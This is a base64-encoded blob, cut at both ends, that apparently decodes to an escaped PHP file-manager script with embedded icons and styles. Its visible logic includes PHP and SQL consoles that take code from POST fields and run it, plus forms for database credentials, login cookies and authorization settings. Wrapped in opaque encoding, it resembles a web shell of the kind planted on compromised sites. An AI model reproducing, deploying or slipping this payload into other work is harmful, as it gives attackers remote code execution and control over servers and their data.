VkMElnWVI1QlNGaE1XRTdZU0tnZ0hDUTBFZG9KTndrRGhGSENKeUtUcUV1MEpyb1IrY1FZWWpJeGgxaElMQ1BXRW84VEx4QjdpRVBFTnlRU2lVTXlKN21RQWtteHBGVFNFdEpHMG01U0kra3NxWnMwU0Jvams4bmFaR3V5QnptVUxDQXJ5SVhrbmVURDVEUGtHK1FoOGxzS25XSkFjYVQ0VStJb1VzcHFTaG5sRU9VMDVRWmxtREpCVmFPYVV0Mm9vVlFSTlk5YVFxMmh0bEt2VVllb0V6UjFtam5OZ3haSlM2V3RvcFhUR21nWGFQZHByK2gwdWhIZGxSNU9sOUJYMHN2cFIraVg2QVAwZHd3TmhoV0R4NGhuS0JtYkdBY1laeGwzR0srWVRLWVowNHNaeDFRd056SHJtT2VaRDVsdlZWZ3F0aXA4RlpIS0NwVktsU2FWR3lvdlZLbXFwcXJlcWd0VjgxWExWSStwWGxOOXJrWlZNMVBqcVFuVWxxdFZxcDFRNjFNYlUyZXBPNmlIcW1lb2IxUVwvcEg1WlwvWWtHV2NOTXcwOURwRkdnc1ZcL2p2TVlnQzJNWnMzZ3NJV3NOcTRaMWdUWEVKckhOMlh4MktydVlcL1IyN2l6MnFxYUU1UXpOS00xZXpVdk9VWmo4SDQ1aHgrSngwVGdubktLZVg4MzZLM2hUdktlSXBHNlkwVExreFpWeHJxcGFYbGxpclNLdFJxMGZydlRhdTdhZWRwcjFGdTFuN2dRNUJ4MG9uWENkSFo0XC9PQlozblU5bFQzYWNLcHhaTlBUcjFyaTZxYTZVYm9idEVkNzl1cCs2WW5yNWVnSjVNYjZmZWViM24raHg5TFwvMVVcL1czNnBcL1ZIREZnR3N3d2tCdHNNemhnOHhUVnhiendkTDhmYjhWRkRYY05BUTZWaGxXR1g0WVNSdWRFOG85VkdqVVlQakduR1hPTWs0MjNHYmNhakpnWW1JU1pMVGVwTjdwcFNUYm1tS2FZN1REdE14ODNNemFMTjFwazFtejB4MXpMbm0rZWIxNXZmdDJCYWVGb3N0cWkydUdWSnN1UmFwbG51dHJ4dWhWbzVXYVZZVlZwZHMwYXRuYTBsMXJ1dHU2Y1JwN2xPazA2cm50Wm53N0R4dHNtMnFiY1pzT1hZQnR1dXRtMjJmV0ZuWWhkbnQ4V3V3KzZUdlpOOXVuMk5cL1QwSERZZlpEcXNkV2gxK2M3UnlGRHBXT3Q2YXpwenVQMzNGOUpicEwyZFl6eERQMkRQanRoUExLY1JwblZPYjAwZG5GMmU1YzRQemlJdUpTNExMTHBjK0xwc2J4dDNJdmVSS2RQVnhYZUY2MHZXZG03T2J3dTJvMjZcL3VOdTVwN29mY244dzBueW1lV1ROejBNUElRK0JSNWRFXC9DNStWTUd2ZnJINVBRMCtCWjdYbkl5OWpMNUZYcmRld3Q2VjNxdmRoN3hjKzlqNXluK00rNHp3MzNqTGVXVlwvTU44QzN5TGZMVDhOdm5sK0YzME5cL0lcLzlrXC8zclwvMFFDbmdDVUJad09KZ1VHQld3TDcrSHA4SWIrT1B6cmJaZmF5MmUxQmpLQzVRUlZCajRLdGd1WEJyU0ZveU95UXJTSDM1NWpPa2M1cERvVlFmdWpXMEFkaDVtR0x3MzRNSjRXSGhWZUdQNDV3aUZnYTBUR1hOWGZSM0VOejMwVDZSSlpFM3B0bk1VODVyeTFLTlNvK3FpNXFQTm8zdWpTNlA4WXVabG5NMVZpZFdFbHNTeHc1TGlxdU5tNXN2dFwvODdmT0g0cDNpQytON0Y1Z3Z5RjF3ZWFIT3d2U0ZweGFwTGhJc09wWkFUSWhPT0pUd1FSQXFxQmFNSmZJVGR5V09Dbm5DSGNKbklpXC9STnRHSTJFTmNLaDVPOGtncVRYcVM3Skc4Tlhra3hUT2xMT1c1aENlcGtMeE1EVXpkbXpxZUZwcDJJRzB5UFRxOU1ZT1NrWkJ4UXFvaFRaTzJaK3BuNW1aMnk2eGxoYkwreFc2THR5OGVsUWZKYTdPUXJBVlpMUXEyUXFib1ZGb28xeW9Ic21kbFYyYVwvelluS09aYXJuaXZON2N5enl0dVFONXp2blwvXC90RXNJUzRaSzJwWVpMVnkwZFdPYTlyR281c2p4eGVkc0s0eFVGSzRaV0Jxdzh1SXEyS20zVlQ2dnRWNWV1ZnIwbWVrMXJnVjdCeW9MQnRRRnI2d3RWQ3VXRmZldmMxKzFkVDFndldkKzFZZnFHblJzK0ZZbUtyaFRiRjVjVmY5Z28zSGpsRzRkdnlyK1ozSlMwcWF2RXVXVFBadEptNmViZUxaNWJEcGFxbCthWERtNE4yZHEwRGQ5V3RPMzE5a1hiTDVmTktOdTdnN1pEdWFPXC9QTGk4WmFmSnpzMDdQMVNrVlBSVStsUTI3dExkdFdIWCtHN1I3aHQ3dlBZMDdOWGJXN3ozXC9UN0p2dHRWQVZWTjFXYlZaZnRKKzdQM1A2NkpxdW40bHZ0dFhhMU9iWEh0eHdQU0FcLzBISXc2MjE3blUxUjNTUFZSU2o5WXI2MGNPeHgrK1wvcDN2ZHkwTk5nMVZqWnpHNGlOd1JIbms2ZmNKM1wvY2VEVHJhZG94N3JPRUgweDkySFdjZEwycENtdkthUnB0VG12dGJZbHU2VDh3KzBkYnEzbnI4UjlzZkQ1dzBQRmw1U3ZOVXlXbmE2WUxUazJmeXo0eWRsWjE5Zmk3NTNHRGJvclo3NTJQTzMyb1BiKys2RUhUaDBrWFwvaStjN3ZEdk9YUEs0ZFBLeTIrVVRWN2hYbXE4NlgyM3FkT284XC9wUFRUOGU3bkx1YXJybGNhN251ZXIyMWUyYjM2UnVlTjg3ZDlMMTU4UmJcLzF0V2VPVDNkdmZONmJcL2ZGOVwvWGZGdDErY2lmOXpzdTcyWGNuN3EyOFQ3eGY5RUR0UWRsRDNZZlZQMXYrM05qdjNIOXF3SGVnODlIY1JcL2NHaFlQUFwvcEgxanc5REJZK1pqOHVHRFlicm5qZytPVG5pUDNMOTZmeW5RODlrenlhZUZcLzZpXC9zdXVGeFl2ZnZqVjY5Zk8wWmpSb1pmeWw1T1wvYlh5bFwvZXJBNnhtdjI4YkN4aDYreVhnek1WNzBWdnZ0d1hmY2R4M3ZvOThQVCtSOElIOG9cLzJqNXNmVlQwS2Y3a3htVGtcLzhFQTVqelwvR016TGRzQUFBQUdZa3RIUkFEXC9BUDhBXC82QzlwNU1BQUFBSmNFaFpjd0FBQ3hNQUFBc1RBUUNhbkJnQUFBQUhkRWxOUlFmY0NBd0dNVGc1WEVFVEFBQUI4a2xFUVZRNHkzV1NNV1wvVFFCaUduKys3c3gzWGRkTUFJbTBua0NvaFJRaUpEU0V4ZEFsXC9BVEV3SVBFemtGaVlZR1JseU15R3hNTEV4RmhCeXk5QUNBYWEwZ1luRG9sOXg5RFlpVnM0NmRQbmtcL3crOTk3M25nREpcL3Y3Kyt5QUlDaitmSTBIQVwvNVp6RHU4OXpqbU9qbzZ5ZnJcL1wvd0FKQnI5ZTdHNFloeFdTQ1JGSDkwMnFWWmRuWXgzRjhESVFXSU1zeTFwSUVYeFNvTWZWSjUwRmVES1VyY0djd0FWQ0FORTFwdFZxb0txcUtNYWIrcnZaaHZNYm4xeVwvd2c2ZEl0SWFJQUdBQlRrNU9TSklFOVI0QUVVRlZjYzdWUGY5MndQYnRsSHozQ1J0K2pxcFNPMmkzMjhSeFhOdGVoWWdJcHJYTytPTnpybDMrZ3RFQUVXMENoc01oV1pZMTdsNURqT1gwMHh1dTdvejVFVDNrVW1lakJ0ZUFUcWRESE1ld0VLOUNQREFcL2ZNVnM2eGFiMjN0bkl2MkhnXC9GNDNKeTQ5NGdOR0g1NFNmZkdCcWZyajBsYVMzSERRWnFtaEdHSVc4Uld4ZmZuK0R2MjUxdCt0ZVwvUjNlbmhFVVNXVlFOR294RjVudU5YeEtLR3J3ZnZDSGJ2NEs4OHdtaUo2bkt3alJpaktNSVlRem1mSTR2b1JJUWkzdVozOXo1Ym01MHphSFhxNHY0MVlEcWRnZ2hTbG9oekFNeW1PZGR2N21HTVVKWmxJOVpxd0UwSHFvaTFGMTVoSlZydEN4ZStBa2dZaGdUV0lzWmdvZ2dSd1ZwN1lXQ3J5eGlqRldBeUdBeWVJVktvY3lMVzFvK282dWNMOEhtZXo0RHhYKzhkQUxHN01lVlVBQUFBQUVsRlRrU3VRbUNDXCIpO1xyXG59XHJcbjw%2FPWZtX2hvbWVfc3R5bGUoKT8%2BXHJcbi5pbWcge1xyXG5cdGJhY2tncm91bmQtaW1hZ2U6IFxyXG51cmwoXCJkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FNQUFBQW9MUTlUQUFBQUJHZEJUVUVBQUtcL0lOd1dLNlFBQUFkRlFURlJGN2UzdFwvZjM5cEorZitjSmFqVjhxNmVucGtHSW1cL3NGT1wvKzJPMzkzYzV1Ym1cL3N4YmQyOXlpbWRuZUZnNjVPVGsyem9ZNnVIaTF6QVMxY3JKc0hzMm55Z28zTnJiMkxCWHJZdG0ycDVBXC8raFhwb1JxcEtPa3dyaTQ2K3ZyME1HMzZZc3o2dWpwbUk2QW56VXl3TCtcL21YVlNtSUJOOGJ3d2oxVkJ5TEd6YTFaSjBORFFqWVNCXC85Tmp3WjZDd1VBc3hrMGJyWnlXdzdwbUdaNEE2THRka0hkZlwvK044eW93MjdiNVc4N1JOTFpMXC8yYmlQN3dBQVwvXC9HSmw1ZVg0TmZZc2FhTGdwNmgxYit0XC8rNlI2OEZlODl5Y2ltWmRcL3VRdjNyOU51cENCOTlWMjVhMWNWSmJibkhoT1wvOHhTK01CYThmRHdpMkppNDhxaVwvK3FPZFZJenMzNHhcL1wvR09YSXpZcDVTUFwvc3hncXBpSWNwK1wvc2lRcGNtcHN0YXlzelNBTnVLS1Q5UFQwNHVMaXdJa3k4TGRFK3NWV3ZxYW04ZVwvdkw1SVorcmxIOGNOZzA4Q2N6N2FkOHZMeTlMdFUxcXlVdVo0K3I1MTIrOHNcL3dVcEwzZDNkeDdXMWZHTmFcLzg5WjJjZkgrczVuNk9qb2IxWXRzN0t6MTlmWHdJZzRwMWROK1BqNHpMUjArOHBkN3N0cmhLQXNcLzloalwvOUJWMUt0ZnRMUzFucDJkWWxKU1pGVlY1TFJXaEVGQjVyaFpcLzlKcTBIdFRcL1wvQ1NrSXFKNks1RCtMTk5ibFZWdmpNMDQ3Wk16N2UzMXhFR1wvXC9cL1wvdEtndTZ3QUFBSnQwVWs1VFwvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvd0NWVnBLWUFBQUFHWFJGV0hSVGIyWjBkMkZ5WlFCQlpHOWlaU0JKYldGblpWSmxZV1I1Y2NsbFBBQUFBTlpKUkVGVUtGTmptS1dpUFFzWk1NeGltc3FQS3BBYjJNc0FaTmpMT3dremdnVm1KWW55cHNcL1FFNTllS0NFdEJoYVlGUmZqWnVUaEgyN2xZNmtxQnhZb3JTXC9PTUM1d2lIWmtsMlFDQ1ZUa04rdHJ0Rmo0WlNwTW1hd0RGQkQwbENveW56WkJsMW5JSmo1NUVsQkEwOXBkdmM5YnVUMVNZS1lCV3cxUUlDMG9OWXNqckZISnBTa3ZSWXNCS0NDYk05SExOOXRXcmJxbmpVVUdaRzFBaEd1SVhaUnpwUWwzYUd3RDJCMmNaWjJ6RW9MN1crdTZxeUF1blpYSU9NdlFyRnlrcXdUaUZ6QlFOT1hqNFFLem9BS3phanRZSVF3QWx2dHBsM1Y1YzhNQUFBQUFTVVZPUks1Q1lJST1cIik7XHJcbn1cclxuQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDo3MjBweCl7XHJcbiAgdGFibGV7ZGlzcGxheTpibG9jazt9XHJcbiAgICAjZm1fdGFibGUgdGR7ZGlzcGxheTppbmxpbmU7ZmxvYXQ6bGVmdDt9XHJcbiAgICAjZm1fdGFibGUgdGJvZHkgdGQ6Zmlyc3QtY2hpbGR7d2lkdGg6MTAwJTtwYWRkaW5nOjA7fVxyXG4gICAgI2ZtX3RhYmxlIHRib2R5IHRyOm50aC1jaGlsZCgybisxKXtiYWNrZ3JvdW5kLWNvbG9yOiNFRkVGRUY7fVxyXG4gICAgI2ZtX3RhYmxlIHRib2R5IHRyOm50aC1jaGlsZCgybil7YmFja2dyb3VuZC1jb2xvcjojREVFM0U3O31cclxuICAgICNmbV90YWJsZSB0cntkaXNwbGF5OmJsb2NrO2Zsb2F0OmxlZnQ7Y2xlYXI6bGVmdDt3aWR0aDoxMDAlO31cclxuXHQjaGVhZGVyX3RhYmxlIC5yb3cyLCAjaGVhZGVyX3RhYmxlIC5yb3czIHtkaXNwbGF5OmlubGluZTtmbG9hdDpsZWZ0O3dpZHRoOjEwMCU7cGFkZGluZzowO31cclxuXHQjaGVhZGVyX3RhYmxlIHRhYmxlIHRkIHtkaXNwbGF5OmlubGluZTtmbG9hdDpsZWZ0O31cclxufVxyXG48XC9zdHlsZT5cclxuPFwvaGVhZD5cclxuPGJvZHk%2BXHJcbjw%2FcGhwXHJcbiR1cmxfaW5jID0gJz9mbT10cnVlJztcclxuaWYgKGlzc2V0KCRfUE9TVFsnc3FscnVuJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlX3NxbF9jb25zb2xlJ10pKXtcclxuXHQkcmVzID0gZW1wdHkoJF9QT1NUWydzcWwnXSkgPyAnJyA6ICRfUE9TVFsnc3FsJ107XHJcblx0JHJlc19sbmcgPSAnc3FsJztcclxufSBlbHNlaWYgKGlzc2V0KCRfUE9TVFsncGhwcnVuJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlX3BocF9jb25zb2xlJ10pKXtcclxuXHQkcmVzID0gZW1wdHkoJF9QT1NUWydwaHAnXSkgPyAnJyA6ICRfUE9TVFsncGhwJ107XHJcblx0JHJlc19sbmcgPSAncGhwJztcclxufSBcclxuaWYgKGlzc2V0KCRfR0VUWydmbV9zZXR0aW5ncyddKSkge1xyXG5cdGVjaG8gJyBcclxuPHRhYmxlIGNsYXNzPVwid2hvbGVcIj5cclxuPGZvcm0gbWV0aG9kPVwicG9zdFwiIGFjdGlvbj1cIlwiPlxyXG48dHI%2BPHRoIGNvbHNwYW49XCIyXCI%2BJy5fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuX18oJ1NldHRpbmdzJykuJzxcL3RoPjxcL3RyPlxyXG4nLihlbXB0eSgkbXNnX250aW1lcyk%2FJyc6Jzx0cj48dGQgY2xhc3M9XCJyb3cyXCIgY29sc3Bhbj1cIjJcIj4nLiRtc2dfbnRpbWVzLic8XC90ZD48XC90cj4nKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdyBzaXplIG9mIHRoZSBmb2xkZXInKSwnc2hvd19kaXJfc2l6ZScpLidcclxuJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdwaWN0dXJlcycpLCdzaG93X2ltZycpLidcclxuJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdNYWtlIGRpcmVjdG9yeScpLCdtYWtlX2RpcmVjdG9yeScpLidcclxuJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdOZXcgZmlsZScpLCduZXdfZmlsZScpLidcclxuJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdVcGxvYWQnKSwndXBsb2FkX2ZpbGUnKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgUEhQIHZlcnNpb24nLCdzaG93X3BocF92ZXInKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgUEhQIGluaScsJ3Nob3dfcGhwX2luaScpLidcclxuJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdHZW5lcmF0aW9uIHRpbWUnKSwnc2hvd19ndCcpLidcclxuJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyB4bHMnLCdzaG93X3hscycpLidcclxuJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyBQSFAgJy5fXygnQ29uc29sZScpLCdlbmFibGVfcGhwX2NvbnNvbGUnKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgU1FMICcuX18oJ0NvbnNvbGUnKSwnZW5hYmxlX3NxbF9jb25zb2xlJykuJ1xyXG48dHI%2BPHRkIGNsYXNzPVwicm93MVwiPjxpbnB1dCBuYW1lPVwiZm1fY29uZmlnW3NxbF9zZXJ2ZXJdXCIgdmFsdWU9XCInLiRmbV9jb25maWdbJ3NxbF9zZXJ2ZXInXS4nXCIgdHlwZT1cInRleHRcIj48XC90ZD48dGQgY2xhc3M9XCJyb3cyIHdob2xlXCI%2BU1FMIHNlcnZlcjxcL3RkPjxcL3RyPlxyXG48dHI%2BPHRkIGNsYXNzPVwicm93MVwiPjxpbnB1dCBuYW1lPVwiZm1fY29uZmlnW3NxbF91c2VybmFtZV1cIiB2YWx1ZT1cIicuJGZtX2NvbmZpZ1snc3FsX3VzZXJuYW1lJ10uJ1wiIHR5cGU9XCJ0ZXh0XCI%2BPFwvdGQ%2BPHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPlNRTCB1c2VyPFwvdGQ%2BPFwvdHI%2BXHJcbjx0cj48dGQgY2xhc3M9XCJyb3cxXCI%2BPGlucHV0IG5hbWU9XCJmbV9jb25maWdbc3FsX3Bhc3N3b3JkXVwiIHZhbHVlPVwiJy4kZm1fY29uZmlnWydzcWxfcGFzc3dvcmQnXS4nXCIgdHlwZT1cInRleHRcIj48XC90ZD48dGQgY2xhc3M9XCJyb3cyIHdob2xlXCI%2BU1FMIHBhc3N3b3JkPFwvdGQ%2BPFwvdHI%2BXHJcbjx0cj48dGQgY2xhc3M9XCJyb3cxXCI%2BPGlucHV0IG5hbWU9XCJmbV9jb25maWdbc3FsX2RiXVwiIHZhbHVlPVwiJy4kZm1fY29uZmlnWydzcWxfZGInXS4nXCIgdHlwZT1cInRleHRcIj48XC90ZD48dGQgY2xhc3M9XCJyb3cyIHdob2xlXCI%2BU1FMIERCPFwvdGQ%2BPFwvdHI%2BXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgUHJveHknLCdlbmFibGVfcHJveHknKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgcGhwaW5mbygpJywnc2hvd19waHBpbmZvJykuJ1xyXG4nLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ1NldHRpbmdzJyksJ2ZtX3NldHRpbmdzJykuJ1xyXG4nLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Jlc3RvcmUgZmlsZSB0aW1lIGFmdGVyIGVkaXRpbmcnKSwncmVzdG9yZV90aW1lJykuJ1xyXG4nLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ0ZpbGUgbWFuYWdlcicpLic6ICcuX18oJ1Jlc3RvcmUgZmlsZSB0aW1lIGFmdGVyIGVkaXRpbmcnKSwnZm1fcmVzdG9yZV90aW1lJykuJ1xyXG48dHI%2BPHRkIGNsYXNzPVwicm93M1wiPjxhIGhyZWY9XCInLmZtX3VybCgpLic%2FZm1fc2V0dGluZ3M9dHJ1ZSZmbV9jb25maWdfZGVsZXRlPXRydWVcIj4nLl9fKCdSZXNldCBzZXR0aW5ncycpLic8XC9hPjxcL3RkPjx0ZCBjbGFzcz1cInJvdzNcIj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiJy5fXygnU2F2ZScpLidcIiBuYW1lPVwiZm1fY29uZmlnW2ZtX3NldF9zdWJtaXRdXCI%2BPFwvdGQ%2BPFwvdHI%2BXHJcbjxcL2Zvcm0%2BXHJcbjxcL3RhYmxlPlxyXG48dGFibGU%2BXHJcbjxmb3JtIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCJcIj5cclxuPHRyPjx0aCBjb2xzcGFuPVwiMlwiPicuX18oJ1NldHRpbmdzJykuJyAtICcuX18oJ0F1dGhvcml6YXRpb24nKS4nPFwvdGg%2BPFwvdHI%2BXHJcbjx0cj48dGQgY2xhc3M9XCJyb3cxXCI%2BPGlucHV0IG5hbWU9XCJmbV9sb2dpblthdXRob3JpemVdXCIgdmFsdWU9XCIxXCIgJy4oJGF1dGhbJ2F1dGhvcml6ZSddPydjaGVja2VkJzonJykuJyB0eXBlPVwiY2hlY2tib3hcIiBpZD1cImF1dGhcIj48XC90ZD48dGQgY2xhc3M9XCJyb3cyIHdob2xlXCI%2BPGxhYmVsIGZvcj1cImF1dGhcIj4nLl9fKCdBdXRob3JpemF0aW9uJykuJzxcL2xhYmVsPjxcL3RkPjxcL3RyPlxyXG48dHI%2BPHRkIGNsYXNzPVwicm93MVwiPjxpbnB1dCBuYW1lPVwiZm1fbG9naW5bbG9naW5dXCIgdmFsdWU9XCInLiRhdXRoWydsb2dpbiddLidcIiB0eXBlPVwidGV4dFwiPjxcL3RkPjx0ZCBjbGFzcz1cInJvdzIgd2hvbGVcIj4nLl9fKCdMb2dpbicpLic8XC90ZD48XC90cj5cclxuPHRyPjx0ZCBjbGFzcz1cInJvdzFcIj48aW5wdXQgbmFtZT1cImZtX2xvZ2luW3Bhc3N3b3JkXVwiIHZhbHVlPVwiJy4kYXV0aFsncGFzc3dvcmQnXS4nXCIgdHlwZT1cInRleHRcIj48XC90ZD48dGQgY2xhc3M9XCJyb3cyIHdob2xlXCI%2BJy5fXygnUGFzc3dvcmQnKS4nPFwvdGQ%2BPFwvdHI%2BXHJcbjx0cj48dGQgY2xhc3M9XCJyb3cxXCI%2BPGlucHV0IG5hbWU9XCJmbV9sb2dpbltjb29raWVfbmFtZV1cIiB2YWx1ZT1cIicuJGF1dGhbJ2Nvb2tpZV9uYW1lJ10uJ1wiIHR5cGU9XCJ0ZXh0XCI%2BPFwvdGQ%2BPHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPicuX18oJ0Nvb2tpZScpLic8XC90ZD48XC90cj5cclxuPHRyPjx0ZCBjbGFzcz1cInJvdzFcIj48aW5wdXQgbmFtZT1cImZtX2xvZ2luW2RheXNfYXV0aG9yaXphdGlvbl1cIiB2YWx1ZT1cIicuJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddLidcIiB0eXBlPVwidGV4dFwiPjxcL3RkPjx0ZCBjbGFzcz1cInJvdzIgd2hvbGVcIj4nLl9fKCdEYXlzJykuJzxcL3RkPjxcL3RyPlxyXG48dHI%2BPHRkIGNsYXNzPVwicm93MVwiPjx0ZXh0YXJlYSBuYW1lPVwiZm1fbG9naW5bc2NyaXB0XVwiIGNvbHM9XCIzNVwiIHJvd3M9XCI3XCIgY2xhc3M9XCJ0ZXh0YXJlYV9pbnB1dFwiIGlkPVwiYXV0aF9zY3JpcHRcIj4nLiRhdXRoWydzY3JpcHQnXS4nPFwvdGV4dGFyZWE%2BPFwvdGQ%2BPHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPicuX18oJ1NjcmlwdCcpLic8XC90ZD48XC90cj5cclxuPHRyPjx0ZCBjb2xzcGFuPVwiMlwiIGNsYXNzPVwicm93M1wiPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCInLl9fKCdTYXZlJykuJ1wiID48XC90ZD48XC90cj5cclxuPFwvZm9ybT5cclxuPFwvdGFibGU%2BJztcclxuZWNobyBmbV90cGxfZm9ybSgncGhwJyksZm1fdHBsX2Zvcm0oJ3NxbCcpO1xyXG59IGVsc2VpZiAoaXNzZXQoJHByb3h5X2Zvcm0pKSB7XHJcblx0ZGllKCRwcm94eV9mb3JtKTtcclxufSBlbHNlaWYgKGlzc2V0KCRyZXNfbG5nKSkge1x0XHJcbj8%2BXHJcbjx0YWJsZSBjbGFzcz1cIndob2xlXCI%2BXHJcbjx0cj5cclxuICAgIDx0aD48Pz1fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuJHBhdGg%2FPjxcL3RoPlxyXG48XC90cj5cclxuPHRyPlxyXG4gICAgPHRkIGNsYXNzPVwicm93MlwiPjx0YWJsZT48dHI%2BPHRkPjxoMj48Pz1zdHJ0b3VwcGVyKCRyZXNfbG5nKT8%2BIDw%2FPV9fKCdDb25zb2xlJyk%2FPjw%2FcGhwXHJcblx0aWYoJHJlc19sbmc9PSdzcWwnKSBlY2hvICcgLSBEYXRhYmFzZTogJy4kZm1fY29uZmlnWydzcWxfZGInXS4nPFwvaDI%2BPFwvdGQ%2BPHRkPicuZm1fcnVuX2lucHV0KCdwaHAnKTtcclxuXHRlbHNlIGVjaG8gJzxcL2gyPjxcL3RkPjx0ZD4nLmZtX3J1bl9pbnB1dCgnc3FsJyk7XHJcblx0Pz48XC90ZD48XC90cj48XC90YWJsZT48XC90ZD5cclxuPFwvdHI%2BXHJcbjx0cj5cclxuICAgIDx0ZCBjbGFzcz1cInJvdzFcIj5cclxuXHRcdDxhIGhyZWY9XCI8Pz0kdXJsX2luYy4nJnBhdGg9JyAuICRwYXRoOz8%2BXCI%2BPD89X18oJ0JhY2snKT8%2BPFwvYT5cclxuXHRcdDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cIlBPU1RcIiBuYW1lPVwiY29uc29sZVwiPlxyXG5cdFx0PHRleHRhcmVhIG5hbWU9XCI8Pz0kcmVzX2xuZz8%2BXCIgY29scz1cIjgwXCIgcm93cz1cIjEwXCIgc3R5bGU9XCJ3aWR0aDogOTAlXCI%2BPD89JHJlcz8%2BPFwvdGV4dGFyZWE%2BPGJyXC8%2BXHJcblx0XHQ8aW5wdXQgdHlwZT1cInJlc2V0XCIgdmFsdWU9XCI8Pz1fXygnUmVzZXQnKT8%2BXCI%2BXHJcblx0XHQ8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPD89X18oJ1N1Ym1pdCcpPz5cIiBuYW1lPVwiPD89JHJlc19sbmc%2FPnJ1blwiPlxyXG48P3BocFxyXG4kc3RyX3RtcGwgPSAkcmVzX2xuZy4nX3RlbXBsYXRlcyc7XHJcbiR0bXBsID0gIWVtcHR5KCQkc3RyX3RtcGwpID8ganNvbl9kZWNvZGUoJCRzdHJfdG1wbCx0cnVlKSA6ICcnO1xyXG5pZiAoIWVtcHR5KCR0bXBsKSl7XHJcblx0JGFjdGl2ZSA9IGlzc2V0KCRfUE9TVFskcmVzX2xuZy4nX3RwbCddKSA%2FICRfUE9TVFskcmVzX2xuZy4nX3RwbCddIDogJyc7XHJcblx0JHNlbGVjdCA9ICc8c2VsZWN0IG5hbWU9XCInLiRyZXNfbG5nLidfdHBsXCIgdGl0bGU9XCInLl9fKCdUZW1wbGF0ZScpLidcIiBvbmNoYW5nZT1cImlmICh0aGlzLnZhbHVlIT0tMSkgZG9jdW1lbnQuZm9ybXNbXFwnY29uc29sZVxcJ10uZWxlbWVudHNbXFwnJy4kcmVzX2xuZy4nXFwnXS52YWx1ZSA9IHRoaXMub3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZTsgZWxzZSBkb2N1bWVudC5mb3Jtc1tcXCdjb25zb2xlXFwnXS5lbGVtZW50c1tcXCcnLiRyZXNfbG5nLidcXCddLnZhbHVlID1cXCdcXCc7XCIgPicuXCJcXG5cIjtcclxuXHQkc2VsZWN0IC49ICc8b3B0aW9uIHZhbHVlPVwiLTFcIj4nIC4gX18oJ1NlbGVjdCcpIC4gXCI8XC9vcHRpb24%2BXFxuXCI7XHJcblx0Zm9yZWFjaCAoJHRtcGwgYXMgJGtleT0%2BJHZhbHVlKXtcclxuXHRcdCRzZWxlY3QuPSc8b3B0aW9uIHZhbHVlPVwiJy4kdmFsdWUuJ1wiICcuKCghZW1wdHkoJHZhbHVlKSYmKCR2YWx1ZT09JGFjdGl2ZSkpPydzZWxlY3RlZCc6JycpLicgPicuX18oJGtleSkuXCI8XC9vcHRpb24%2BXFxuXCI7XHJcblx0fVxyXG5cdCRzZWxlY3QgLj0gXCI8XC9zZWxlY3Q%2BXFxuXCI7XHJcblx0ZWNobyAkc2VsZWN0O1xyXG59XHJcbj8%2BXHJcblx0XHQ8XC9mb3JtPlxyXG5cdDxcL3RkPlxyXG48XC90cj5cclxuPFwvdGFibGU%2BXHJcbjw%2FcGhwXHJcblx0aWYgKCFlbXB0eSgkcmVzKSkge1xyXG5cdFx0JGZ1bj0nZm1fJy4kcmVzX2xuZztcclxuXHRcdGVjaG8gJzxoMz4nLnN0c